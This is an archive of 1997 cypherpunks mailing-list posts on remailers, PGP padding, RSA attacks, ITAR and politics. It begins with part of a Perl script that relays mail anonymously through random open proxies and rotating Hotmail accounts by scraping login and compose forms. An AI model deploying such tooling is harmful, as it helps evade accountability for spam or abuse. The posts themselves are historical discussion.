	open(CACHE, ">$newfname") or die "Cannot write $newfname: $!\n";
	print CACHE $body;
	close(CACHE);
	rename($newfname, $config{'proxylistcachefile'}) or
	    die "Cannot rename $newfname: $!\n";
    }
    ## Read the proxy list
    open(CACHE, $config{'proxylistcachefile'}) or
	die "Cannot open $config{'proxylistcachefile'}: $!\n";
    @proxylist = grep (s/\n// && /^[^#]/, <CACHE>);
    close(CACHE);
} else {
    ## Just fetch from the net
    $request = new HTTP::Request('GET', $proxylisturl);
    $request->header(Pragma => 'no-cache');
    $response = $uadirect->request($request);
    @proxylist = grep (/^[^#]/, split("\n", $response->content));
}

@proxylist = ('secure.escape.ca:80') if $#proxylist == -1;

## Get the account list
if (defined $config{'accountlistfile'}) {
    open(ACC, $config{'accountlistfile'}) or
	die "Cannot open $config{'accountlistfile'}: $!\n";
    @accountlist = grep (s/\n// && /^[^#]/, <ACC>);
    close(ACC);
}

@accountlist = ('ldeliverer:xxxx') if $#accountlist == -1;

sub escapetext {
    my $t = $_[0];
    $t =~ s/([\000-\037\200-\377\{\}\|\\\^\[\]\`\"\<\>\:\@\/\;\?\=\&\%\.\#])/"%".unpack('H2',$1)/eg;
    $t =~ s/ /+/g;
    $t;
}

sub getaddrs {
    my @addrlist = split(/,\s*/, $_[0]);
    my ($a, $ra);
    my @r;

    foreach $a (@addrlist) {
	$ra = '';
	if ($a =~ /\<(.*?)\>/) {
	    $ra = $1;
	} else {
	    $a =~ s/\(.*?\)//g;
	    $a =~ s/\".*?\"//g;
	    $ra = $1 if $a =~ /(\S+\@\S+)/;
	}
	push (@r, $ra) if $ra ne '';
    }
    join(', ', @r);
}

## Parse the incoming mail.  We need to put the To, Cc, and Bcc headers
## into a simple format that hotmail can understand.

$header{'to'} = '';
$header{'subject'} = '';
$header{'cc'} = '';
$header{'bcc'} = '';
$curheader = '';
while(<STDIN>) {
    last if /^$/;
    chomp;
    if (/^\S/) {
	## Start a new header
	if (s/^To:\s*//io) {
	    $curheader = 'to';
	    $header{'to'} .= ', ' if $header{'to'} ne '';
	} elsif (s/^Cc:\s*//io) {
	    $curheader = 'cc';
	    $header{'cc'} .= ', ' if $header{'cc'} ne '';
	} elsif (s/^Bcc:\s*//io) {
	    $curheader = 'bcc';
	    $header{'bcc'} .= ', ' if $header{'bcc'} ne '';
	} elsif (s/^Subject:\s*//io) {
	    $curheader = 'subject';
	} else {
	    $curheader = '';
	}
    }
    if ($curheader ne '') {
	s/^\s*//;
	$header{$curheader} .= ' ' if $header{$curheader} ne '';
	$header{$curheader} .= $_;
    }
}
$header{'to'} = &getaddrs($header{'to'});
$header{'cc'} = &getaddrs($header{'cc'});
$header{'bcc'} = &getaddrs($header{'bcc'});
$msg = &escapetext(join('', <STDIN>));

## Choose a proxy and account at random

srand(time ^ $$);
$proxy = $proxylist[int rand ($#proxylist+1)];
($login, $passwd) =
    $accountlist[int rand ($#accountlist+1)] =~ /^([^:]*):(.*)$/;

## Begin hotmail-specific magic

$ua = new LWP::UserAgent;
$ua->proxy('http', "http://${proxy}/");

$url = new URI::URL 'http://www.hotmail.com/cgi-bin/password.cgi';
$request = new HTTP::Request('POST', $url);
$request->header(Pragma => 'no-cache');
$request->content("login=${login}&curmbox=ACTIVE");

$response = $ua->request($request);
$body = $response->content;
$body =~ /\<\s*form\s+[^>]*action=\"(.*?)\"/io or die "Cannot log in";

$url = new URI::URL $1, $url;
$body = $';
$body =~ s/\<\s*\/form\s*\>.*//;
$body =~ /\<\s*input\s+[^>]*name=\"disk\"\s+value(=\"(.*?)\")?/io or die "Cannot give passwd";
$disk = $2 || "";

$request = new HTTP::Request('POST', $url);
$request->header(Pragma => 'no-cache');
$request->content("passwd=${passwd}&frames=no&disk=${disk}&curmbox=ACTIVE&login=${login}&js=no");
$response = $ua->request($request);
$body = $response->content;

$body =~ /\<\s*area\s+[^>]*href=\"(\/cgi-bin\/compose.*?)\"/io or die "Cannot compose";
$composeurl = new URI::URL $1, $url;
$body =~ /\<\s*area\s+[^>]*href=\"(\/cgi-bin\/logout.*?)\"/io or die "Cannot compose";
$logouturl = new URI::URL $1, $url;

$request = new HTTP::Request('GET', $composeurl);
$request->header(Pragma => 'no-cache');
$response = $ua->request($request);
$body = $response->content;

$body =~ /\<\s*form\s+[^>]*action=\"(.*?)\".*?\>/io or die "Cannot send message";
$url = new URI::URL $1, $composeurl;
$body = $';
$data = '';
while(1) {
    $body =~ /^\s*\<\s*input\s+type=\"?hidden\"?\s+name=\"(.*?)\"\s+value(=\"(.*?)\")?\s*\>/io or last;
    $name = $1; $value = $3 || ""; $body = $';
    $data .= $name."=".$value."&";
}
$data .= "to=$header{'to'}&subject=$header{'subject'}&cc=$header{'cc'}&bcc=$header{'bcc'}&body=${msg}&Send.x=1&Send.y=1";

$request = new HTTP::Request('POST', $url);
$request->header(Pragma => 'no-cache');
$request->content($data);
$response = $ua->request($request);
$body = $response->content;

$request = new HTTP::Request('GET', $logouturl);
$request->header(Pragma => 'no-cache');
$response = $ua->request($request);





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 13 Aug 1997 12:33:04 +0800
To: cypherpunks@toad.com
Subject: He he he
In-Reply-To: <33F0289F.5DB1@mcfeely.bsfs.org>
Message-ID: <2wwcBe12w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Rabid Wombat <wombat@mcfeely.bsfs.org> doesn't write:

>
> > >The mammalian jackass is also claiming that all crypto promoters
> > > are marsupials.
>
> Neither did I write the above. This is really getting old. You'd think
> the guy would at least learn how to forge a message header after all
> this time. It just goes to show that people ought to pay more attention
> to the headers on their email.
> Otherwise, you never know when it's just somebody being an asshole.

I was about to tell the poor R.W. that he was indeed being an asshole, when
I took another good look at the headers.  He he he.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 13 Aug 1997 15:50:26 +0800
To: cypherpunks@toad.com
Subject: Re: The BIG Lie (Jesus Confesses)
In-Reply-To: <199708121110.NAA25127@atro.pine.nl>
Message-ID: <3.0.2.32.19970813001521.02fa4080@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 09:31 AM 8/12/97 -0700, Tim May wrote:
>At 4:10 AM -0700 8/12/97, Patrick Oonk wrote:
>>Is this what the cypherpunks list has become ? Discussions about religion ?
>>If so, I am out of here...
>
>The list is about what people discuss. It is up to all readers to write
>articles that are interesting.
>
>Merely sitting back and waiting for good articles is seldom fruitful.

Or at least _forge_ some good articles you wish somebody else had written....
:-)

				Klaus! von Future Composite





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 13 Aug 1997 15:46:38 +0800
To: amp@pobox.com
Subject: Re: Encrypting same data with many keys...
In-Reply-To: <Pine.SUN.3.96.970812111223.26326D-100000@beast.brainlink.com>
Message-ID: <3.0.2.32.19970813003535.0068e9b4@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 05:37 PM 8/12/97 -0500, amp@pobox.com wrote:
>So would that then be a possible weakness in encrypting to multiple 
>recipients with PGP? Probably not, since the actual data is encrypted with 
>idea.

The actual data is encrypted with IDEA, but the identical IDEA key is 
encrypted with each recipient's RSA key.  To avoid this attack,
PGP uses random padding after the IDEA key (which makes the message
encrypted with RSA different for each recipient, avoiding the trap.
Since IDEA keys are 128 bits long, and RSA moduli are typically 384-2047,
there's plenty of room for random noise in the format.)


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ulf@fitug.de (Ulf =?iso-8859-1?Q?M=F6ller?=)
Date: Wed, 13 Aug 1997 08:10:45 +0800
To: aba@dcs.ex.ac.uk
Subject: Re: Eternity Uncensorable?
In-Reply-To: <199708061308.OAA02171@server.test.net>
Message-ID: <m0wyQRk-0003bCC@ulf.mali.sub.org>
MIME-Version: 1.0
Content-Type: text/plain



>Turn of logs, and introduce forward secrecy into mixmaster.  Easy to
>do.  Why don't we have it yet?  (Ulf?  Lance?)

It will not be in 2.0.4 final (unless someone sends me the code :),
but is high priority for 2.0.5.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@replay.com (Name Withheld by Request)
Date: Wed, 13 Aug 1997 08:14:46 +0800
To: cypherpunks@Algebra.COM
Subject: Cypherpunks are a bunch of happy people
Message-ID: <199708130005.CAA05800@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



 Cypherpunks are a bunch of happy people

                                                                        basr

 Discussed were, amongst many other subjects, PGP encryption, building
 personal anonymous remailers, encryption of IP packets, and a kind of
 anonymous remailing system for IP packets (http, ftp, ...) using 'onion'
 servers.

 These guys promised us some nice stuff for our homes and schools in the
 near future like your own nice 'n' small anonymous remailer. If many people
 put these up and a system of anonymous remailers who give messages to each
 other before delivering it to the addressee is established, you can always
 say that *your* remailer was just one of the middlemen, receiving stuff
 from other anonymous remailers.

 Next, we are going to get cheap (under US $1.000) linux routerboxes that
 encrypt all traffic you send out to the network. Specially designed for the
 school and the home. This makes surfing in the childrens bedroom perfectly
 safe again!

 On the anonymous remailing of IP packets project the cypherpunks are workng
 together with the naval security of the USA. Why? These naval security
 people are working on the same thing, and they need other traffic using the
 same protocols to hide their own traffic in. Otherwise everyone can see
 they are transmitting from A to B. However, the cypherpunks had to explain
 the naval security first that if they want this technique more widespread,
 they have to make it available for cheaper machines and morre widely used
 operating systems... something they had not thought of themselves.

 You might think: "Is all this not illegal?" No it's not (yet, in most
 countries), and making up laws costs more time than writing good encryption
 software, so say the cypherpunks. That is... if they can find enough people
 to write the software. Yes, you guessed right, they are hiring!

http://magazine.dds.nl





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Wed, 13 Aug 1997 14:26:54 +0800
To: cypherpunks@toad.com
Subject: Re: A peculiar notion
Message-ID: <LaBrpU8nObf1zLOIx8v3NA==@JawJaCrakR>
MIME-Version: 1.0
Content-Type: text/plain



                    "Central government spending had
                soared from less than 2 percent of the economy's total
                output to well over 20 percent in 1865, approximately
                what the central government spends today.

                     "It is hard to decide from which angle that statistic
                is more astonishing: that government spending rose
                from such infinitesimal lows to today's heights in four
                years, or that today federal authorities regularly spend
                during peacetime as much as they did during the
                country's most devastating war."  -- Jeffrey Rogers
                Hummel









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David D. W. Downey" <admin@cyberspacetechnologies.com>
Date: Wed, 13 Aug 1997 17:05:07 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: Eternity Uncensorable?
In-Reply-To: <19970812121230.24614@bywater.songbird.com>
Message-ID: <XFMail.970813044911.admin@cyberspacetechnologies.com>
MIME-Version: 1.0
Content-Type: text/plain




On 12-Aug-97 Kent Crispin wrote:
>>On Tue, Aug 12, 1997 at 12:46:02PM -0600, John Kelsey wrote:
>>-----BEGIN PGP SIGNED MESSAGE-----
>>
>>[ To: cypherpunks@algebra.com, Wei Dai ## Date: 08/08/97 10:37 pm ##
>>  Subject: Re: Eternity Uncensorable? ]
>>
>>>Subject: Re: Eternity Uncensorable?
>>>To: Cypherpunks Lite <cp-lite@comsec.com>
>>>From: Wei Dai <weidai@eskimo.com>
>>>Date: Wed, 06 Aug 1997 11:33:55 -0700 (PDT)
>>
>>>I suggest using information dispersal to spread risk amongst
>>>remailer operators.  Use Rabin's information dispersal technique
>>>to divide up a document into n shares such that k of them can
>>>reconstruct the original, and post each share via a seperate
>>>remailer.  It would be hard for the government to single out an
>>>operator to go after since an individual share by itself is
>>>useless.
>>
>>I'm a little concerned with the usefulness of this idea in a
>>legal sense.  Imagine the physical analogue:  Alice buys the
>>guns and masks, and leaves them in a pre-arranged place.  Bob
>>anonymously buys a car and leaves it, with the keys inside, in
>>another pre-arranged place.  Carol and Dave collect the guns,
>>masks, and the car, and use them to rob a bank or hijack an
>>airplane.  Do you suppose the feds will have any problem
>>prosecuting Alice and Bob for their part in the conspiracy?
>
>Yes, I think there might be problems for the feds in this case.  Your 
>analogy is not at all accurate, since the remailers have no knowledge 
>of what their individual shares contain, and didn't supply any of the 
>input data to begin with.  Here's a different analogy:
>
>Alice and Bob and Carol and Dave run mailbox outlets.  Elmer and Fred
>jointly rent several mailboxes.  Elmer mails a single piece of a gun
>to each mailbox in a sealed package -- ABCD can have no way of
>knowing what is in each package.  Fred goes to each mailbox and gets
>the package inside, takes them all home, and assemble a weapon used 
>to commit a crime.  It is hard to see how ABCD could be included in 
>any conspiracy, because they were providing a general, legal service, 
>and they had absolutely no knowledge of the conspiracy.
>
>-- 
>Kent Crispin				"No reason to get excited",
>kent@songbird.com			the thief he kindly spoke...
>PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
>http://songbird.com/kent/pgp_key.html

----------------------------------
E-Mail: David D. W. Downey <admin@cyberspacetechnologies.com>
Date: 08/13/97
Time: 04:45:33

This message was sent by XF-Mail
----------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David D. W. Downey" <admin@cyberspacetechnologies.com>
Date: Wed, 13 Aug 1997 17:21:00 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: Eternity Uncensorable?
In-Reply-To: <19970812121230.24614@bywater.songbird.com>
Message-ID: <XFMail.970813051333.admin@cyberspacetechnologies.com>
MIME-Version: 1.0
Content-Type: text/plain





  The Feds will undoubtably attempt to procecute, but the way the federal law re
ads, 
ABCD Company must have some sort of knowledge in their possesion that conspirato
rs C and D
were actually planning something criminal. Without that knowledge, the governmen
t can not 
prove the technicals needed for a conviction.    Scenario: Say the conspirators 
committed a 
murder.  Malice Afore-thought is crucial to a premeditated murder conviction. 
The conspirators could be convicted of premeditated murder because they showed m
alice 
aforethought when they purchased and used the weapons involved in the killing. 
   Now, ABCD Company can not be charged with premeditated murder as they did not
 take part 
in the actual killing. That leaves aiding and abetting, and co-conspiring to com
mit a 
felony (aka the premeditiated murder.) ABCD Company would lose if they had culpa
ble knowledge
 1) what the contents of the packages were, and 2) what the conspirators were pl
anning. 
    But the Feds would be unable to show malice aforethought on the part of ABCD
 
Company, thereby blowing the co-conspirator charge out the window. In addition, 
culpable 
knowledge would not be proven because they did not know the contents of the pack
ages, 
thereby blowing the aiding and abetting charges out the window. The Feds' case w
ould hinge 
upon the requirement that ABCD Company know the contents of anything moving thro
ugh their
 buisiness. Since their business is legally based upon anonymous mailing abiliti
es, they 
can basically tell the government to go blow up a battleship for all the chances
 the Feds 
have of winning.>
>Yes, I think there might be problems for the feds in this case.  Your 
>analogy is not at all accurate, since the remailers have no knowledge 
>of what their individual shares contain, and didn't supply any of the 
>input data to begin with.  Here's a different analogy:
>
>Alice and Bob and Carol and Dave run mailbox outlets.  Elmer and Fred
>jointly rent several mailboxes.  Elmer mails a single piece of a gun
>to each mailbox in a sealed package -- ABCD can have no way of
>knowing what is in each package.  Fred goes to each mailbox and gets
>the package inside, takes them all home, and assemble a weapon used 
>to commit a crime.  It is hard to see how ABCD could be included in 
>any conspiracy, because they were providing a general, legal service, 
>and they had absolutely no knowledge of the conspiracy.
>
>-- 
>Kent Crispin				"No reason to get excited",
>kent@songbird.com			the thief he kindly spoke...
>PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
>http://songbird.com/kent/pgp_key.html

----------------------------------
E-Mail: David D. W. Downey <admin@cyberspacetechnologies.com>
Date: 08/13/97
Time: 04:51:15

This message was sent by XF-Mail
----------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David D. W. Downey" <admin@CyberSpaceTechnologies.com>
Date: Wed, 13 Aug 1997 17:42:39 +0800
To: Tim May <tcmay@got.net>
Subject: RE: Discussion Topic (Re: The BIG Lie (Jesus Confesses))
In-Reply-To: <v03102800b016587f8210@[207.167.93.63]>
Message-ID: <XFMail.970813053156.admin@cyberspacetechnologies.com>
MIME-Version: 1.0
Content-Type: text/plain



    Even I am sick of this thread. I made an error in judgement in replying to a
 letter. 
I have apologized publicly to all invloved and yet this thread *still* continues
. How about we 
get back to the subject this list was designed for? Here, I'll even start.


     Under PGP 2.63, you are able to generate 2048 bit keys. Now, from everythin
g that I have read, 
it should be impossible to break these keys even use of a Cray computer. (Estima
tes os to cost were 
roughly in the neighborhood of .30 cents a minute, and approximately 1.8 years p
rocessing
 time if done with a Cray. My question is this. Are there any known attacks that
 have 
yielded success against that level of encryption without the plaintext being kno
wn under PGP?
     Also, does anyone know if the 4098 bit keys under PGP 5.0 are stronger or w
eaker? I noticed 
that the alogrythm has been changed as well as the LIB used. (THe MIT version us
es the RSALIB and the 
international version uses the MPLIB). It is the number of bits used that throws
 me. 
If the 2048 bit keys are unbreakable from 63, then why the need for 4098 bits no
w, unless there is a good 
chance that the bit level is close to being broken if not broken already. That w
ould jump the 
computing time and cost out of this world, considering that the cost jumps expon
entially per *bit*!
    Anyone have an answer? Are the 2048 bit keys under 2.63 breakable at  by the
 US Government or other 
such entities? Are my technical ideas behind my question correct, or do I have t
hem all wrong?
 Any point in the right direction will be welcome. Thanks.
>Again, if you want discussion, discuss already.
>
>Complaining that others are not writing the articles you want to read is
>never fruitful.
>
>Probably you'll be happier doing what you said you were going to do, leaving.
>
>--Tim May
>
>There's something wrong when I'm a felon under an increasing number of laws.
>Only one response to the key grabbers is warranted: "Death to Tyrants!"
>---------:---------:---------:---------:---------:---------:---------:----
>Timothy C. May              | Crypto Anarchy: encryption, digital money,
>tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
>W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
>Higher Power: 2^1398269     | black markets, collapse of governments.
>"National borders aren't even speed bumps on the information superhighway."

----------------------------------
E-Mail: David D. W. Downey <admin@cyberspacetechnologies.com>
Date: 08/13/97
Time: 05:19:41

This message was sent by XF-Mail
----------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David D.W. Downey" <admin@CyberSpaceTechnologies.com>
Date: Wed, 13 Aug 1997 20:20:08 +0800
To: cypherpunks@toad.com
Subject: Mail Program is screwey, sorry
Message-ID: <33F1A108.2AC7AAF7@cyberspacetechnologies.com>
MIME-Version: 1.0
Content-Type: text/plain



I apologize for the remail of the Eternity uncensorable post. I have
recently switched Linux versions and the mail program is a little bit
screwy. This one was mailed via Netscape for Linux. (Which itself is a
little screwy.) It does not send the message in the same format that it
displays on screen, as well as reposting the replied to message. I will
fix it as soon as possible. For now there may be one or two thers that
come through like this. Plese forgive them.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 13 Aug 1997 23:30:26 +0800
To: cypherpunks@toad.com
Subject: "Leotards and the Law," morphed child porn lawsuit, from Netly
Message-ID: <Pine.GSO.3.95.970813080755.18129D-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Wed, 13 Aug 1997 08:07:47 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship@vorlon.mit.edu
Subject: "Leotards and the Law," morphed child porn lawsuit, from Netly

---

http://pathfinder.com/netly/opinion/0,1042,1287,00.html

The Netly News Network (http://netlynews.com/)
August 13, 1997
   
Leotards And The Law
by Declan McCullagh (declan@well.com)
   
        Take an erotic photo of an adult and alter it in Photoshop to
   look as though he was a minor. Would you be breaking the law? A
   federal judge in San Francisco ruled yesterday you would be, rejecting
   a court challenge to a 1996 law banning computer-generated erotic
   images that "appear" to be of children.
   
        U.S. District Judge Samuel Conti ruled the adult film industry,
   which brought the suit and argued no simulated minors appear in
   movies, shouldn't feel threatened by the law. "Plaintiffs' products do
   not fall into these categories," he said in a 16-page decision that
   upheld the Child Pornography Prevention Act as constitutional.
   Plaintiffs challenged the law as vague and overbroad, saying it
   "criminalizes forms of expression in violation of the First and Fifth
   Amendments."
   
        But Conti skirted the more controversial question: What if
   someone did use Photoshop to synthesize images of half-naked children?
   Would that bit-twiddling violate the First Amendment's guarantees of
   freedom of speech? What about an anthropology professor's
   computer-generated movie of the sex play of South Pacific teens?
   
        "This ruling resolves nothing of consequence," says Eric
   Freedman, a constitutional law professor at Hofstra Law School. "The
   judge never reached the real problems of the statute. That'll have to
   wait for another lawsuit."

[...]
   






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 13 Aug 1997 22:05:56 +0800
To: cypherpunks@toad.com
Subject: Re: HIP hip hooray
In-Reply-To: <199708130952.LAA17846@xs1.xs4all.nl>
Message-ID: <qFLDBe14w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Zooko Journeyman <zooko@xs4all.nl> writes:

>  A million monkeys operating under the pseudonym
>  "Mark Grant <mark@unicorn.com>" typed:
> >
> > Hey, Zooko! You were the only Cypherpunk who made the article in the
> > 'Independent' (by that blonde reporter who was wandering around), though
> > Lucky Green was mentioned by name.
>
> Wow.  Oh how the mighty have fallen, from an adulatory spread
> in Wired to a mention in The Independent.  And to think that
> Lucky was the fellow who was supposed to get the most benefit
> from the situation in the first place!

His Real True Name is Lucky Orange.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 13 Aug 1997 22:08:40 +0800
To: cypherpunks@toad.com
Subject: Re: Fuck the usenet cabal
In-Reply-To: <Pine.LNX.3.93.970813182619.706A-100000@shirley>
Message-ID: <NwLDBe17w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au> writes:

> > Now, suppose some non-US person sets up an auto-responder that sends out
> > strong crypto software, and another non-US person requests it and gets it.
> >
> > Is anyone going to be guilty of ITAR violations?
>
> Well if thay can't trace it back to the person who put it on the system
> thay will go after the system itself.

Another related thought: some folks send out lots of unwanted e-mail
offering to broadcast an ad to a million addresses for $40 or some such.

What if a non-US person paid them $40 to spam people outside the U.S.
with strong crypto?

Is it possible to stuff a blatant ITAR violation into about 100 lines of ascii?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: gturk@concentric.net
Date: Wed, 13 Aug 1997 22:21:22 +0800
To: cypherpunks@cyberpass.net
Subject: Re: A peculiar notion
In-Reply-To: <v03102809b0162dabfc26@[10.0.2.15]>
Message-ID: <3.0.3.32.19970813101000.009dceb0@pop3.concentric.net>
MIME-Version: 1.0
Content-Type: text/plain



At 10:06 PM 8/12/97 -0400, Michael Froomkin wrote:
>On Tue, 12 Aug 1997, Steve Schear wrote:
>> I don't think the North would have accepted any withdrawl, not matter 
>> how it was decided within the South.
>
>right.

The North would never have accepted the withdrawal, because it would have
meant the North's economic demise. 

'The name of our federation is not Consolidated States, but United States.
 A number of States held together by coercion, or the point of a bayonet,
would not be a Union.  Union is necessarily voluntary -- the act of
choice, free association.  Nor can this voluntary system be changed to one
of force without the destruction of "The Union"... A Union of States
necessarily implies separate sovereignties, voluntarily acting together.
And to bruise these distinct sovereignties into one mass of power is,
simply, to destroy the Union -- to overthrow our system of government.' --
Judge Abel P. Upshur in "The Federal Government: Its True Nature and
Character", 1840.

In other words, the Union characterized by free choice, voluntary
association and other libertarian concepts was replaced during the Civil
War by a subtly despotic "Union" under Lincoln.

-geoff





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Wed, 13 Aug 1997 23:16:49 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Why the government should protect our privacy
In-Reply-To: <Pine.GSO.3.95.970812174748.10940E-100000@well.com>
Message-ID: <Pine.SUN.3.96.970813105411.7599D-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 12 Aug 1997, Declan McCullagh forwarded this bit of text
written by Marc Rotenberg of EPIC who wrote:

> Declan is absolutely right. Good thing there are no real
> privacy officials in the federal government and no privacy
> laws for the Internet to get in the way of these efforts.
> 
> Has anyone else noticed that the most sweeping proposals
> for surveillance are coming from the administration that
> has backed the fewest privacy laws of any administration
> in 30 years?
> 
> Mere coincidence? I don't think so.
> 
> Marc.

Like duh, citizen unit privacy protection is anathema to Big Brother
snooping on said citizen units, why should they care about our privacy?
They slowly chiseled away our constitutional rights to the point where we
can barely fight them.

I've recently attended a SpyKing seminar here in NYC (same week as HOPE)
and it was amazing the amount of info you can social engineer out of
people.  The biggest leaks: your bank, Cable TV, gas & electric companies.

Big Brother might as well not bother to keep records with the wealth of
info kept by the corporations.  But that won't stop them.


=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nospam-seesignature@ceddec.com
Date: Wed, 13 Aug 1997 23:58:25 +0800
To: cypherpunks@cyberpass.net
Subject: Re: A peculiar notion
In-Reply-To: <Pine.SOL.3.95.970812220443.14307C-100000@viper.law.miami.edu>
Message-ID: <97Aug13.114449edt.32258@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 12 Aug 1997, Michael Froomkin - U.Miami School of Law wrote:

> On Tue, 12 Aug 1997, Steve Schear wrote:
> 
> > So, if the people (legal voters in the states which planned to withdraw)
> 
> No, "the people" is the people of the united states as a whole.  The
> federalist papers deals with this somewhere, where they explain that of
> course the voting had to be organized state by state, because that tracked
> the reality of how everything was organized, but nonetheless it was
> intended to be a national pleblecite to produce a national government.

Someone should tell the U.K. - I don't remember "A plebecite among all
members of a political collective is necessary to sever a single member" 
as being one of the self-evident truths in the Declaration of
Independence.  After all, the parliment said they really did represent the
colonies, so their votes count, and anything that happened in Philadelphia
should have no legal force.

Jefferson suggested a new convention every 20 years with the argument that
you cannot morally bind a new generation to an old structure - they
probably would not change it much, but personal assent gives moral
authority.  Even the abolitionists considered it tyranny when the
constitution gave legal force to the fugitive slave laws.

What do you do when a piece of paper is used to justify continuing
usurpations - and that same paper created the body of an earlier document
which was the spirit of liberty and declared the ephemeral English law and
its executive no longer in force because of such usurpations?  When the
spirit leaves a body, that body is called a corpse.  And the Constitution
is a dead letter if the spirit of the Declaration is missing.  When legal
authorities crawl over it looking for loopholes to impose more federal
power, it is not merely dead, but an undead vampire seeking to devour the
spirit of liberty.  The constitution, and the law in general is alive and
in robust health only when it is acting to preserve and increase liberty.

It would have been interesting to see what would have happened if someone
actually put the issue of secession to a vote - many northerners wanted
the south to leave.  But the chances of Lincoln and the Congress calling
such a vote were less than that of King George III calling a similar vote
on our earlier situation. 

Eventually every state ratified the constitution, though they had to
threaten Rhode Island.  It would have been more interesting if a few the
larger states didn't ratify and held out after the "required" number were
met.

If the southern states "didn't do it right", what is the right way to
seceed from the united states?  And can it be done when the leadership is
acting as tyrants?

--- reply to tzeruch - at - ceddec - dot - com ---





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nospam-seesignature@ceddec.com
Date: Wed, 13 Aug 1997 23:53:57 +0800
To: amp@pobox.com
Subject: Re: Encrypting same data with many keys...
In-Reply-To: <Chameleon.871421963.amp@ampugh.mcit.com>
Message-ID: <97Aug13.114455edt.32260@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 12 Aug 1997 amp@pobox.com wrote:

> > > What if instead of using a private key cypher, we used a public key
> > > cypher?  Would that make any difference in attack methods?
> > 
> > Yes.
> > 
> > Having identical plaintexts raised to the same power modulo different
> > numbers makes the solution much easier.  If you have enough RSA
> > encryptions of the same number to the same power, you can solve it
> > outright by the remainder theorem.
> 
> So would that then be a possible weakness in encrypting to multiple 
> recipients with PGP? Probably not, since the actual data is encrypted with 
> idea.

PGP uses and E of 17 by default, but it would be a problem except that
there is a specification for random padding, so it *NEVER* encrypts
identical plaintext.  It always uses a number just a few bits shorter than 
N, starting with 0x02, then nonzero random bytes, then a zero byte, and
finally the message bytes you want to encrypt.

There was a man-in-the-middle or replay attack with SSL that they changed
the spec of the padding slightly (8 bytes before the zero byte must be
0x03), I think this is because you might be able to quickly find a random
cyphertext that decrypts to having a zero byte followed by something
useful as key material, but haven't read the details. 

--- reply to tzeruch - at - ceddec - dot - com ---





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jason William RENNIE <jrennie@hardy.ocs.mq.edu.au>
Date: Wed, 13 Aug 1997 10:04:18 +0800
To: Patrick Oonk <patrick@atro.pine.nl>
Subject: Re: The BIG Lie (Jesus Confesses)
In-Reply-To: <199708121110.NAA25127@atro.pine.nl>
